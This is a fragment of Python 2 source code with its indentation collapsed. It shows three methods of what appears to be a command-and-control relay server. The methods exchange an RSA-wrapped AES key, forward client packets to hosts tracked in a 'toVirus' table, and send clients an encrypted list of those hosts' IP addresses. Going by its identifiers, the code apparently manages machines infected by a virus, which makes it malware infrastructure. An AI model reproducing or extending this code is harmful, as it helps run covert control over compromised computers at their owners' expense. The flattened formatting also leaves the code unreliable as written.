def sendAESKey(self): pkt = Packet() pkt.state = '100' pkt.toIP = '' pkt.returnIP = 'MRS' pkt.data = self.key pkt.RSAEncryptData(self.RSAPublicKey) pkt.length = len(pkt.data) self.messageQ.put(pkt)
def receiveFromClient(self,s,address): while True: pkt = Packet() try: pkt.construct(s) except socket.error as error: if error.errno == 10054 or error.errno == 104: del self.toClient[address[0]] print address[0] + " closed client!" break else: raise pkt.returnIP = address[0] self.enqueueToVirus(pkt)
def sendIPList(self,address=""): state = "100" ips = self.toVirus.keys() data = "" for ip in ips: data += ip + ":" + self.toVirus[ip][2] length = len(data) pkt = Packet() pkt.state = state pkt.length = str(length) pkt.data = data pkt.encryptData(self.AESKey) print "IPList: " + data if address != "": pkt.returnIP = address[0] self.enqueueToClient(pkt) else: for ip in self.toClient.keys(): self.enqueueToClient(pkt,ip)